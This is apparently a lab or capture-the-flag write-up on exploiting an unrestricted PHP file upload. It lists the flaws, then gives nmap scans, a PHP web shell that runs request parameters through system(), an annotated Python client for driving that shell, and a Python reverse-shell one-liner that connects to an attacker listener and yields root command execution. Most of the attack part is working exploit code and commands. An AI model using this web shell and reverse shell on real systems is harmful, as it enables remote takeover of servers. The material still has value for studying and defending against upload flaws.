ARBITRARY FILE UPLOAD
Allowing unrestricted file uploads can lead to remote code execution (RCE) and complete system compromise. below are the flaws that contribute to arbitrary file upload
Unrestricted File Upload – The application allows arbitrary file uploads, including PHP scripts, without proper validation or restrictions.
MIME Type Misconfiguration – The uploaded file retains its PHP MIME type (application/x-php), indicating no enforcement of safe content types (e.g., application/octet-stream or text/plain).
Extension Bypass Possibility – There is no restriction on file extensions, allowing direct .php uploads. Attackers could also try bypasses such as .jpg.php or .PHP.
Lack of Content Inspection – No checks (e.g., file_get_contents()) appear to be in place to detect embedded PHP code.
Disclosure of Upload Path – The server reveals the exact location of the uploaded file (/uploads/backdoor.php), aiding attackers in execution.
root@oco:~$ sudo nmap -sV -sC -T4 10.129.202.133 -p-
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3001/tcp open http PHP cli server 5.5 or later
|_http-title: Login
3002/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3003/tcp open http PHP cli server 5.5 or later (PHP 7.4.3)
root@oco:~$ sudo nmap --script=vuln -T4 10.129.202.133 -p 3000,3001,3002,3003
PORT STATE SERVICE
3000/tcp open ppp
3001/tcp open nessus
3002/tcp open exlm-agent
3003/tcp open cgms
root@oco:~$ BROWSER > http://10.129.202.133:3001/
* anonymous file upload in the openroot@oco:~$ nano backdoor.php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
root@oco:~$ BROWSER > http://10.129.202.133:3001
Anonymous upload: backdoor.php
Your file is uploaded to /uploads/backdoor.php
root@oco:~$ nano webShell.py
import argparse, time, requests, os
parser = argparse.ArgumentParser(description="Interactive Web Shell for PoCs")
parser.add_argument("-t", "--target", help="Specify the target host E.g. http://<TARGET IP>:3001/uploads/backdoor.php", required=True)
parser.add_argument("-p", "--payload", help="Specify the reverse shell payload E.g. a python3 reverse shell. IP and Port required in the payload")
parser.add_argument("-o", "--option", help="Interactive Web Shell with loop usage: python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes")
args = parser.parse_args()
if args.target == None and args.payload == None:
parser.print_help()
elif args.target and args.payload:
print(requests.get(args.target+"/?cmd="+args.payload).text)
if args.target and args.option == "yes":
os.system("clear") # clear the screen (linux)
while True:
try:
cmd = input("$ ")
print(requests.get(args.target+"/?cmd="+cmd).text)
time.sleep(0.3) # waits 0.3 seconds during each request
except requests.exceptions.InvalidSchema:
print("Invalid URL Schema: http:// or https://")
except requests.exceptions.ConnectionError:
print("URL is invalid")
* # imports four modules argparse (used for system arguments), time (used for time), requests (used for HTTP/HTTPs Requests), os (used for operating system commands)
* partse = argparse.ArgumentParser(): # generates a variable called parser and uses argparse to create a description
* # specifies flags such as -t for a target with a help and required option being true
* args... # defines args as a variable holding the values of the above arguments so we can do args.option for example.
* # checks if args.target (the url of the target) and the payload is blank if so it'll show the help menu
* # shows help menu
* # elif (if they both have values do some action)
* ## sends the request with a GET method with the targets URL appends the /?cmd= param and the payload and then prints out the value using .text because we're already sending it within the print() function
* # if the target option is set and args.option is set to yes (for a full interactive shell)
* # starts a while loop (never ending loop)
* # defines a cmd variable for an input() function which our user will enter
* # same as above except with our input() function value
#interactive method
root@oco:~$ nc -nlvp 8088
root@oco:~$ python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.45",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root@oco:~$ nc...
# uname -a
Linux nix01-websvc 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux#alternative methods
#method 1: non-interactive - single cmd execution (CLI)
root@oco:~$ python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes
$ id
uid=0(root) gid=0(root) groups=0(root)
#method 2: non-interactive - single cmd execution (BROWSER)
BROWSER > http://10.129.202.133:3001/uploads/backdoor.php?cmd=%27ls%27
* add ?cmd={id}
Last updated